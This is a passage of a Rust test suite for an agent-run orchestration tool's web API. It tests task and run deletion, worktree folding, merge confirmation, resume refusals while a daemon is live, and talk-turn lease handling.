23771        );
23772        let run_id = "20260901-000000-r111";
23773        t1.runs.push(run_id.to_owned());
23774        write_run(&fx.runs(), run_id, RunStatus::Merged);
23775        q.put(&mut t1).expect("put t1");
23776
23777        // Delete by short id
23778        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
23779        assert_eq!(res.status, 204);
23780        assert!(res.body.is_empty(), "204 No Content has no body");
23781        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
23782        assert!(
23783            fx.runs().join(run_id).exists(),
23784            "run directory must not be deleted when its task is deleted"
23785        );
23786
23787        // 2. A task a live daemon is running is refused with 409.
23788        let mut t2 = Task::new(
23789            "Task 2".to_owned(),
23790            "Instruction 2".to_owned(),
23791            PathBuf::from("/repo"),
23792            Source::Human,
23793        );
23794        t2.status = TaskStatus::Running;
23795        q.put(&mut t2).expect("put t2");
23796        let mut beat = crate::daemon::Status::new();
23797        beat.current = vec![crate::daemon::Current {
23798            worker: None,
23799            task: t2.id.clone(),
23800            run: "20260901-000000-r222".to_owned(),
23801        }];
23802        beat.updated_at = jiff::Timestamp::now();
23803        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23804            .expect("publish a heartbeat");
23805        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
23806        assert_eq!(res.status, 409);
23807        assert!(
23808            res.json()["error"]
23809                .as_str()
23810                .unwrap()
23811                .contains("live daemon")
23812        );
23813        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
23814
23815        // 3. The same `running` status and an orphaned lock, with no daemon
23816        // behind either, is a leftover and deletable. Before this the phone
23817        // refused it for good: the status never changes on its own and
23818        // nothing drops a lock whose process is gone.
23819        // The daemon is killed: the file stays, the heartbeat stops.
23820        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
23821        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23822            .expect("leave a stale heartbeat");
23823        let mut t3 = Task::new(
23824            "Task 3".to_owned(),
23825            "Instruction 3".to_owned(),
23826            PathBuf::from("/repo"),
23827            Source::Human,
23828        );
23829        t3.status = TaskStatus::Running;
23830        q.put(&mut t3).expect("put t3");
23831        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
23832        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
23833        assert_eq!(res.status, 204);
23834        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
23835        assert!(
23836            q.claim(&t3.id).is_ok(),
23837            "the stale lock went with it, so the id is claimable again"
23838        );
23839
23840        // 4. Missing id returns 404
23841        let res = fx.delete("/api/queue/nonexistent").await;
23842        assert_eq!(res.status, 404);
23843    }
23844
23845    #[tokio::test]
23846    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
23847        let fx = Fixture::start().await;
23848        let runs = fx.runs();
23849
23850        // 1. Finished and folded run can be deleted along with artifacts
23851        let run_id = "20260901-000000-fold";
23852        let mut state = RunState::new(
23853            PathBuf::from("/repo"),
23854            "main".to_owned(),
23855            "abc".to_owned(),
23856            "instruction".to_owned(),
23857            Config::default(),
23858        );
23859        state.id = run_id.to_owned();
23860        state.status = RunStatus::Merged;
23861        state.candidates.push(crate::run::Candidate {
23862            index: 0,
23863            label: 'A',
23864            agent: "a".to_owned(),
23865            branch: "b".to_owned(),
23866            worktree: PathBuf::from("/w"),
23867            summary: String::new(),
23868            stat: String::new(),
23869            files: 1,
23870            commits: 1,
23871            empty: false,
23872            failed: None,
23873            verified_noop: None,
23874            duration_ms: 0,
23875            folded: true,
23876        });
23877        let dir = runs.join(run_id);
23878        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
23879        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
23880            .expect("write artifact");
23881        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
23882            .expect("write run.json");
23883
23884        // Delete by short id
23885        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
23886        assert_eq!(res.status, 204);
23887        assert!(res.body.is_empty(), "204 has no body");
23888        assert!(!dir.exists(), "run directory and artifacts must be deleted");
23889
23890        // 2. A run a live daemon is working on is refused with 409. The
23891        // heartbeat is what makes it refusable: an unfinished run with no
23892        // daemon behind it is a leftover from a killed process, and case 1
23893        // above would otherwise be impossible to tell apart from this one.
23894        let run_running = "20260901-000000-rung";
23895        write_run(&runs, run_running, RunStatus::Prep);
23896        let mut beat = crate::daemon::Status::new();
23897        beat.current = vec![crate::daemon::Current {
23898            worker: None,
23899            task: "20260901-000000-task".to_owned(),
23900            run: run_running.to_owned(),
23901        }];
23902        beat.updated_at = jiff::Timestamp::now();
23903        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23904            .expect("publish a heartbeat");
23905        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
23906        assert_eq!(res.status, 409);
23907        assert!(
23908            res.json()["error"]
23909                .as_str()
23910                .unwrap()
23911                .contains("live daemon"),
23912            "the refusal must say who is holding it"
23913        );
23914        assert!(
23915            runs.join(run_running).exists(),
23916            "a run in flight keeps its directory"
23917        );
23918
23919        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
23920        let run_unfolded = "20260901-000000-unfd";
23921        let mut state2 = RunState::new(
23922            PathBuf::from("/repo"),
23923            "main".to_owned(),
23924            "abc".to_owned(),
23925            "instruction".to_owned(),
23926            Config::default(),
23927        );
23928        state2.id = run_unfolded.to_owned();
23929        state2.status = RunStatus::Ready;
23930        state2.candidates.push(crate::run::Candidate {
23931            index: 0,
23932            label: 'A',
23933            agent: "a".to_owned(),
23934            branch: "b".to_owned(),
23935            worktree: PathBuf::from("/w"),
23936            summary: String::new(),
23937            stat: String::new(),
23938            files: 1,
23939            commits: 1,
23940            empty: false,
23941            failed: None,
23942            verified_noop: None,
23943            duration_ms: 0,
23944            folded: false,
23945        });
23946        let dir2 = runs.join(run_unfolded);
23947        std::fs::create_dir_all(&dir2).expect("create dir2");
23948        std::fs::write(
23949            dir2.join("run.json"),
23950            serde_json::to_string(&state2).unwrap(),
23951        )
23952        .expect("write run.json");
23953
23954        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
23955        assert_eq!(res.status, 409);
23956        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
23957        assert!(dir2.exists(), "unfolded run directory is kept");
23958
23959        // 4. Missing id returns 404
23960        let res = fx.delete("/api/runs/nonexistent").await;
23961        assert_eq!(res.status, 404);
23962    }
23963
23964    /// The queue tiles on the Stats tab must render even on a home with no
23965    /// runs at all: queue state is not derived from run history, so hiding
23966    /// the whole dashboard body behind "no runs yet" would drop the one
23967    /// thing this tab promises unconditionally (queued/running/held/done).
23968    /// A DOM-level test would need a browser this suite does not have, so
23969    /// this pins the same invariant textually: `renderStatsQueue` is called
23970    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
23971    /// block that gates the run-derived panels.
23972    #[test]
23973    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
23974        let start = APP_JS
23975            .find("function renderStats() {")
23976            .expect("renderStats");
23977        let end = start
23978            + APP_JS[start..]
23979                .find("function statsTile(")
23980                .expect("the next top-level function");
23981        let body = &APP_JS[start..end];
23982
23983        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
23984        let gate_end = gate_start
23985            + body[gate_start..]
23986                .find("}\n  renderStatsQueue")
23987                .expect("the gate's own closing brace, right before the unconditional call");
23988        let gated = &body[gate_start..gate_end];
23989
23990        assert_eq!(
23991            body.matches("renderStatsQueue(").count(),
23992            1,
23993            "renderStats must call renderStatsQueue exactly once: {body}"
23994        );
23995        assert!(
23996            !gated.contains("renderStatsQueue"),
23997            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
23998             run-derived panels on an empty run history - the queue panel has to render \
23999             regardless: {gated}"
24000        );
24001    }
24002
24003    #[test]
24004    fn web_ui_delete_contract_in_front_end() {
24005        // 1. API block has both delete endpoints
24006        assert!(APP_JS.contains("deleteRun:"));
24007        assert!(APP_JS.contains("deleteTask:"));
24008
24009        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
24010        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
24011            ..APP_JS.find("function renderRuns").unwrap()];
24012        assert!(!run_cards_slice.to_lowercase().contains("delete"));
24013
24014        // 3. Run detail has delete entry and reasons
24015        assert!(APP_JS.contains("renderRunDelete"));
24016        assert!(APP_JS.contains("runDeleteReason"));
24017        assert!(APP_JS.contains("magi fold"));
24018        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
24019
24020        // 4. Two-step delete arming and focus on Cancel
24021        assert!(APP_JS.contains("cancel.focus"));
24022        assert!(APP_JS.contains("armedRunDelete"));
24023        assert!(APP_JS.contains("renderTaskDeleteBox"));
24024        assert!(APP_JS.contains("armed${cap(key)}"));
24025
24026        // 5. Running task has disabled delete
24027        assert!(APP_JS.contains("disabled: status === \"running\""));
24028    }
24029
24030    /// Every element a run card's updater reaches for must be in the `refs`
24031    /// the builder handed it.
24032    ///
24033    /// `createRunCard` builds its elements, appends them to the card, and then
24034    /// lists them again in `row.refs`. That second list is the one the updater
24035    /// uses, and nothing connects the two - an element can be built, appended
24036    /// and rendered, and still be missing from `refs`. `superseded` was, for
24037    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
24038    /// exception took `syncList` with it, and the deck showed
24039    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
24040    /// line is computed before the cards, which is why the failure looked like
24041    /// a server that had lost its runs rather than a front end that had
24042    /// stopped rendering them.
24043    ///
24044    /// A `cargo test` cannot execute the front end, so this reads the two
24045    /// halves out of the source and compares them as sets. It is not a check
24046    /// on the wording of either list: adding an element, renaming one, or
24047    /// reordering them all keeps this passing, and only using one the builder
24048    /// never published fails it.
24049    #[test]
24050    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
24051        let build = APP_JS
24052            .find("function createRunCard")
24053            .expect("createRunCard exists");
24054        let update = APP_JS
24055            .find("function updateRunCard")
24056            .expect("updateRunCard exists");
24057        let end = APP_JS
24058            .find("function renderRuns")
24059            .expect("renderRuns exists");
24060
24061        // The builder's published set: the object literal assigned to `refs`.
24062        let builder = &APP_JS[build..update];
24063        let open = builder.find("refs = {").expect("createRunCard sets refs");
24064        let literal = &builder[open + "refs = {".len()..];
24065        let close = literal.find('}').expect("the refs literal is closed");
24066        let published: HashSet<&str> = literal[..close]
24067            .split(',')
24068            // `name` and `name: value` both bind `name`.
24069            .filter_map(|entry| entry.split(':').next())
24070            .map(str::trim)
24071            .filter(|name| !name.is_empty())
24072            .collect();
24073        assert!(
24074            published.len() > 5,
24075            "the refs literal did not parse into names: {published:?}"
24076        );
24077
24078        // What the updaters reach for: every `r.<name>`, where `r` is the
24079        // `const r = row.refs` alias both functions open with.
24080        let mut used: Vec<&str> = Vec::new();
24081        let updaters = &APP_JS[update..end];
24082        for (at, _) in updaters.match_indices("r.") {
24083            // `r` must be the whole identifier, not the tail of another one
24084            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
24085            let before = updaters[..at].chars().next_back();
24086            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
24087                continue;
24088            }
24089            let rest = &updaters[at + 2..];
24090            let len = rest
24091                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
24092                .unwrap_or(rest.len());
24093            if len > 0 {
24094                used.push(&rest[..len]);
24095            }
24096        }
24097        assert!(
24098            used.len() > 5,
24099            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
24100        );
24101
24102        let missing: Vec<&str> = used
24103            .iter()
24104            .copied()
24105            .filter(|name| !published.contains(name))
24106            .collect();
24107        assert!(
24108            missing.is_empty(),
24109            "a run card's updater reaches for {missing:?}, which `createRunCard` \
24110             never put in `refs` - every card will throw and the list will \
24111             render empty under a count line that says otherwise. Published: \
24112             {published:?}"
24113        );
24114    }
24115
24116    #[tokio::test]
24117    async fn folding_from_the_phone_reports_what_it_removed() {
24118        let fx = Fixture::start().await;
24119        let runs = fx.runs();
24120
24121        // A run with no candidates has nothing to fold, which is a 200 with an
24122        // honest count rather than an error: the operator asked for the trees
24123        // to be gone and they are.
24124        let id = "20260901-000000-fold";
24125        write_run(&runs, id, RunStatus::Stalled);
24126        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24127        assert_eq!(res.status, 200);
24128        assert_eq!(res.json()["removed_count"], 0);
24129        assert_eq!(res.json()["run"], id);
24130        assert!(
24131            runs.join(id).exists(),
24132            "a fold keeps the run's record; only the worktrees go"
24133        );
24134    }
24135
24136    /// `runs/<A>/run.json` holding run B's record is not run A: the phone's fold
24137    /// routes refuse it instead of folding B on A's say, and change nothing.
24138    #[tokio::test]
24139    async fn folding_a_record_that_names_another_run_is_refused() {
24140        let fx = Fixture::start().await;
24141        let runs = fx.runs();
24142        let (a, b) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24143        write_run(&runs, a, RunStatus::Stalled);
24144        write_run(&runs, b, RunStatus::Stalled);
24145        std::fs::copy(runs.join(b).join("run.json"), runs.join(a).join("run.json")).unwrap();
24146        let record = std::fs::read(runs.join(a).join("run.json")).unwrap();
24147
24148        let res = fx.post(&format!("/api/runs/{a}/fold"), None).await;
24149        assert_eq!(res.status, 500, "{}", res.body);
24150        assert!(res.body.contains("not run"), "{}", res.body);
24151        let res = fx
24152            .post(
24153                &format!("/api/runs/{a}/fold-merged"),
24154                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24155            )
24156            .await;
24157        assert_eq!(res.status, 500, "{}", res.body);
24158        assert_eq!(
24159            std::fs::read(runs.join(a).join("run.json")).unwrap(),
24160            record
24161        );
24162    }
24163
24164    #[tokio::test]
24165    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
24166        let fx = Fixture::start().await;
24167        let runs = fx.runs();
24168        let wt = fx.home.path().join("wt").join("magi").join("dead");
24169        let id = "20260901-000000-dead";
24170        std::fs::create_dir_all(runs.join(id)).expect("run dir");
24171        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
24172        std::fs::create_dir_all(&wt).expect("worktree dir");
24173
24174        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24175        assert_eq!(res.status, 200, "{}", res.body);
24176        assert!(
24177            res.json()["removed_count"].as_u64().unwrap() > 0,
24178            "the worktree this build could not read a state for still went"
24179        );
24180        assert!(
24181            !runs.join(id).exists(),
24182            "an unreadable run has no candidate list to fold selectively, so \
24183             the whole record goes - same as `magi fold` on the CLI"
24184        );
24185    }
24186
24187    #[tokio::test]
24188    async fn folding_a_record_of_another_run_in_a_refused_schema_is_an_identity_error() {
24189        let fx = Fixture::start().await;
24190        let runs = fx.runs();
24191        let id = "20260901-000000-mism";
24192        std::fs::create_dir_all(runs.join(id)).expect("run dir");
24193        let record = br#"{"schema": 99999, "id": "20260901-000000-else"}"#.to_vec();
24194        std::fs::write(runs.join(id).join("run.json"), &record).expect("record");
24195
24196        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24197        assert_eq!(res.status, 500, "{}", res.body);
24198        assert!(
24199            res.json()["error"]
24200                .as_str()
24201                .unwrap()
24202                .contains("records run 20260901-000000-else"),
24203            "{}",
24204            res.body
24205        );
24206        assert_eq!(
24207            std::fs::read(runs.join(id).join("run.json")).unwrap(),
24208            record,
24209            "nothing is removed"
24210        );
24211    }
24212
24213    #[tokio::test]
24214    async fn deleting_an_unreadable_run_removes_it_wholesale() {
24215        let fx = Fixture::start().await;
24216        let runs = fx.runs();
24217        let wt = fx.home.path().join("wt").join("magi").join("gone");
24218        let id = "20260901-000000-gone";
24219        std::fs::create_dir_all(runs.join(id)).expect("run dir");
24220        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
24221        std::fs::create_dir_all(&wt).expect("worktree dir");
24222
24223        let res = fx.delete(&format!("/api/runs/{id}")).await;
24224        assert_eq!(res.status, 204, "{}", res.body);
24225        assert!(!runs.join(id).exists(), "the broken record is gone");
24226        assert!(!wt.exists(), "its worktree is gone too");
24227    }
24228
24229    #[tokio::test]
24230    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
24231        let fx = Fixture::start().await;
24232        let runs = fx.runs();
24233        let id = "20260901-000000-live";
24234        write_run(&runs, id, RunStatus::Implementing);
24235
24236        let mut beat = crate::daemon::Status::new();
24237        beat.current = vec![crate::daemon::Current {
24238            worker: None,
24239            task: "20260901-000000-task".to_owned(),
24240            run: id.to_owned(),
24241        }];
24242        beat.updated_at = jiff::Timestamp::now();
24243        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24244            .expect("publish a heartbeat");
24245
24246        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24247        assert_eq!(res.status, 409);
24248        assert!(
24249            res.json()["error"]
24250                .as_str()
24251                .unwrap()
24252                .contains("live daemon"),
24253            "folding under a running agent would pull its worktree away"
24254        );
24255    }
24256
24257    #[tokio::test]
24258    async fn fold_merged_requires_a_pr_url() {
24259        let fx = Fixture::start().await;
24260        let runs = fx.runs();
24261        let id = "20260901-000000-nourl";
24262        write_run(&runs, id, RunStatus::Blocked);
24263
24264        let res = fx
24265            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
24266            .await;
24267        assert_eq!(res.status, 400, "{}", res.body);
24268
24269        let blank = fx
24270            .post(
24271                &format!("/api/runs/{id}/fold-merged"),
24272                Some(r#"{"pr_url":"   "}"#),
24273            )
24274            .await;
24275        assert_eq!(blank.status, 400, "{}", blank.body);
24276    }
24277
24278    #[tokio::test]
24279    async fn fold_merged_is_404_for_an_unknown_run() {
24280        let fx = Fixture::start().await;
24281        let res = fx
24282            .post(
24283                "/api/runs/nosuchrun/fold-merged",
24284                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24285            )
24286            .await;
24287        assert_eq!(res.status, 404, "{}", res.body);
24288    }
24289
24290    #[tokio::test]
24291    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
24292        let fx = Fixture::start().await;
24293        let runs = fx.runs();
24294        let id = "20260901-000000-livemerge";
24295        write_run(&runs, id, RunStatus::Blocked);
24296
24297        let mut beat = crate::daemon::Status::new();
24298        beat.current = vec![crate::daemon::Current {
24299            worker: None,
24300            task: "20260901-000000-task".to_owned(),
24301            run: id.to_owned(),
24302        }];
24303        beat.updated_at = jiff::Timestamp::now();
24304        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24305            .expect("publish a heartbeat");
24306
24307        let res = fx
24308            .post(
24309                &format!("/api/runs/{id}/fold-merged"),
24310                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24311            )
24312            .await;
24313        assert_eq!(res.status, 409, "{}", res.body);
24314        assert!(
24315            res.json()["error"]
24316                .as_str()
24317                .unwrap()
24318                .contains("live daemon"),
24319            "correcting a run's merge underneath a running agent would race \
24320             whatever it is doing to the same `status`/`merge` fields"
24321        );
24322    }
24323
24324    /// A pull request `gh` cannot even ask about (no such remote, no such
24325    /// repository) must never be recorded as a merge on a guess - the same
24326    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
24327    /// command line, reached here through the phone route instead.
24328    #[tokio::test]
24329    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
24330        let fx = Fixture::start().await;
24331        let runs = fx.runs();
24332        let id = "20260901-000000-unconfirmed";
24333        write_run(&runs, id, RunStatus::Blocked);
24334
24335        let res = fx
24336            .post(
24337                &format!("/api/runs/{id}/fold-merged"),
24338                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24339            )
24340            .await;
24341        assert_eq!(res.status, 400, "{}", res.body);
24342        assert_eq!(
24343            read_run(&runs, id).unwrap().status,
24344            RunStatus::Blocked,
24345            "a pull request that could not be confirmed merged must leave \
24346             the run exactly where it was"
24347        );
24348    }
24349
24350    #[tokio::test]
24351    async fn terminal_runs_cannot_be_resumed() {
24352        let fx = Fixture::start().await;
24353        let runs = fx.runs();
24354
24355        for (status, word) in [
24356            (RunStatus::Merged, "merged"),
24357            (RunStatus::Ready, "ready"),
24358            (RunStatus::Failed, "failed"),
24359        ] {
24360            let id = format!("20260901-000000-{}", &word[..4]);
24361            write_run(&runs, &id, status);
24362            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
24363            assert_eq!(res.status, 409, "{word} must not be resumable");
24364        }
24365    }
24366
24367    #[tokio::test]
24368    async fn resume_is_refused_while_the_loop_is_running() {
24369        let fx = Fixture::start().await;
24370        let runs = fx.runs();
24371        let stalled = "20260901-000000-stal";
24372        write_run(&runs, stalled, RunStatus::Stalled);
24373
24374        // The loop is busy with a *different* run, and that is still a
24375        // refusal: a manual resume must never race whatever the loop itself
24376        // is already driving, whether that is one run or several.
24377        let mut beat = crate::daemon::Status::new();
24378        beat.current = vec![crate::daemon::Current {
24379            worker: None,
24380            task: "20260901-000000-task".to_owned(),
24381            run: "20260901-000000-othr".to_owned(),
24382        }];
24383        beat.updated_at = jiff::Timestamp::now();
24384        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24385            .expect("publish a heartbeat");
24386
24387        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
24388        assert_eq!(res.status, 409);
24389        let err = res.json()["error"].as_str().unwrap().to_owned();
24390        assert!(err.contains("othr"), "it names what the loop is on: {err}");
24391        assert!(err.contains("stop it first"), "{err}");
24392    }
24393
24394    #[test]
24395    fn a_run_cannot_be_resumed_twice_at_once() {
24396        let home = TempDir::new().expect("temp home");
24397        let ui = Ui::new(
24398            Queue::at(home.path().join("queue")),
24399            Questions::at(home.path().join("questions")),
24400            Talks::at(home.path().join("talks")),
24401            home.path().join("runs"),
24402            home.path().to_path_buf(),
24403            PathBuf::from("/repo"),
24404        )
24405        .with_worktrees_root(home.path().join("wt"));
24406        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
24407        let again = ui.begin_resume("20260901-000000-once");
24408        assert!(again.is_err(), "a second tap must not start a second graph");
24409        drop(first);
24410        assert!(
24411            ui.begin_resume("20260901-000000-once").is_ok(),
24412            "and the claim is released when the attempt ends"
24413        );
24414    }
24415
24416    #[test]
24417    fn talk_thinking_tracks_only_its_held_turn_claim() {
24418        let home = TempDir::new().expect("temp home");
24419        let ui = Ui::new(
24420            Queue::at(home.path().join("queue")),
24421            Questions::at(home.path().join("questions")),
24422            Talks::at(home.path().join("talks")),
24423            home.path().join("runs"),
24424            home.path().to_path_buf(),
24425            PathBuf::from("/repo"),
24426        )
24427        .with_worktrees_root(home.path().join("wt"));
24428        let id = "20260901-000000-once";
24429
24430        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
24431        let turn = ui.begin_talk_turn(id).expect("claim turn");
24432        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
24433        assert!(
24434            !ui.is_thinking("20260901-000000-other"),
24435            "one talk's turn does not make another talk busy"
24436        );
24437        drop(turn);
24438        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
24439    }
24440
24441    #[test]
24442    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
24443        let home = TempDir::new().expect("temp home");
24444        let talks = Talks::at(home.path().join("talks"));
24445        let ui = Ui::new(
24446            Queue::at(home.path().join("queue")),
24447            Questions::at(home.path().join("questions")),
24448            talks.clone(),
24449            home.path().join("runs"),
24450            home.path().to_path_buf(),
24451            PathBuf::from("/repo"),
24452        )
24453        .with_worktrees_root(home.path().join("wt"));
24454        let id = "20260901-000000-cross";
24455
24456        let other = Talks::at(home.path().join("talks"))
24457            .claim_turn(id)
24458            .expect("claim")
24459            .expect("the other process wins");
24460        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
24461        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
24462        assert!(
24463            matches!(
24464                ui.begin_talk_turn_unless_pending(id).expect("start"),
24465                TalkTurnStart::Foreign
24466            ),
24467            "a foreign holder is refused, not queued behind"
24468        );
24469        assert!(
24470            !ui.talk_turns.lock().unwrap().live.contains(id),
24471            "a refused claim leaves no in-process entry behind"
24472        );
24473        drop(other);
24474        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
24475        assert!(talks.turn_held(id), "the web turn holds the lease");
24476        drop(turn);
24477        assert!(
24478            !talks.turn_held(id),
24479            "dropping the guard releases the lease"
24480        );
24481    }
24482
24483    fn consult_question(ui: &Ui) -> Question {
24484        let mut q = Question::new(
24485            "20260901-000000-consult".to_owned(),
24486            "implement".to_owned(),
24487            "impl-A".to_owned(),
24488            "Which backend?".to_owned(),
24489            String::new(),
24490            vec!["SQLite".to_owned(), "Redis".to_owned()],
24491        );
24492        ui.questions.put(&mut q).expect("question");
24493        q
24494    }
24495
24496    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
24497        (
24498            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
24499            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
24500        )
24501    }
24502
24503    #[tokio::test]
24504    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
24505        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
24506        let q = consult_question(&ui);
24507        let talk = ui.talks.get(&id).expect("talk");
24508        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
24509        let before = consult_snapshot(&ui, &q, &id);
24510        let cli_talks = Talks::at(ui.home.join("talks"));
24511        assert_eq!(
24512            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
24513                .await
24514                .expect("CLI starter"),
24515            crate::consult::Started::Busy
24516        );
24517        assert_eq!(consult_snapshot(&ui, &q, &id), before);
24518        assert!(ui.is_thinking(&id));
24519        drop(guard);
24520        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
24521    }
24522
24523    #[tokio::test]
24524    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
24525        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
24526        let q = consult_question(&ui);
24527        let talk = ui.talks.get(&id).expect("talk");
24528        let started = tmp.path().join("started");
24529        let release = tmp.path().join("release");
24530        let script = tmp.path().join("consult-agent.sh");
24531        std::fs::write(
24532            &script,
24533            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
24534        )
24535        .expect("script");
24536        let mut cfg = stub_config();
24537        cfg.agents[0].id = "mock".to_owned();
24538        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
24539        cfg.agents[0].env = std::collections::BTreeMap::from([
24540            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
24541            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
24542        ]);
24543        let questions = ui.questions.clone();
24544        let cli_talks = Talks::at(ui.home.join("talks"));
24545        let cli_q = q.clone();
24546        let turn = tokio::spawn(async move {
24547            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
24548        });
24549        let ready = tokio::time::timeout(Duration::from_secs(30), async {
24550            while !started.exists() {
24551                tokio::time::sleep(Duration::from_millis(10)).await;
24552            }
24553        })
24554        .await;
24555        // Always release and join the agent, even if readiness or the web
24556        // request fails, so a failed assertion cannot leave a turn behind.
24557        let refusal = if ready.is_ok() {
24558            let before = consult_snapshot(&ui, &q, &id);
24559            let result = talk_say(
24560                State(Arc::clone(&ui)),
24561                Path(id.clone()),
24562                Ok(Json(NewTalkTurn {
24563                    reply_to: None,
24564                    text: "another message".to_owned(),
24565                    attachments: Vec::new(),
24566                })),
24567            )
24568            .await;
24569            Some((result, before, consult_snapshot(&ui, &q, &id)))
24570        } else {
24571            None
24572        };
24573        std::fs::write(&release, "").expect("release agent");
24574        let done = turn.await.expect("join CLI turn");
24575        ready.expect("agent started before deadline");
24576        let (result, before, after) = refusal.expect("web request");
24577        let error = result.expect_err("web must refuse the CLI's turn");
24578        assert_eq!(error.status, StatusCode::CONFLICT);
24579        assert!(error.message.contains("a turn is already running"));
24580        assert_eq!(
24581            after, before,
24582            "refusal preserves question, draft and history"
24583        );
24584        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
24585        let guard = ui
24586            .begin_talk_turn(&id)
24587            .expect("web claim")
24588            .expect("free again");
24589        drop(guard);
24590    }
24591
24592    #[test]
24593    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
24594        let home = TempDir::new().expect("temp home");
24595        let talks = Talks::at(home.path().join("talks"));
24596        let ui = Ui::new(
24597            Queue::at(home.path().join("queue")),
24598            Questions::at(home.path().join("questions")),
24599            talks.clone(),
24600            home.path().join("runs"),
24601            home.path().to_path_buf(),
24602            PathBuf::from("/repo"),
24603        )
24604        .with_worktrees_root(home.path().join("wt"));
24605        let id = "20260901-000000-order";
24606        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
24607        // Hold the slot mutex so the drop can finish the lease but not the slot.
24608        let slots = ui.talk_turns.lock().unwrap();
24609        let dropper = std::thread::spawn(move || drop(turn));
24610        let start = std::time::Instant::now();
24611        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
24612            std::thread::sleep(Duration::from_millis(5));
24613        }
24614        assert!(!talks.turn_held(id), "the lease is released first");
24615        assert!(slots.live.contains(id), "the slot is still held meanwhile");
24616        drop(slots);
24617        dropper.join().expect("join");
24618        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
24619    }
24620
24621    #[tokio::test]
24622    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
24623        let fx = Fixture::start().await;
24624        let mut beat = crate::daemon::Status::new();
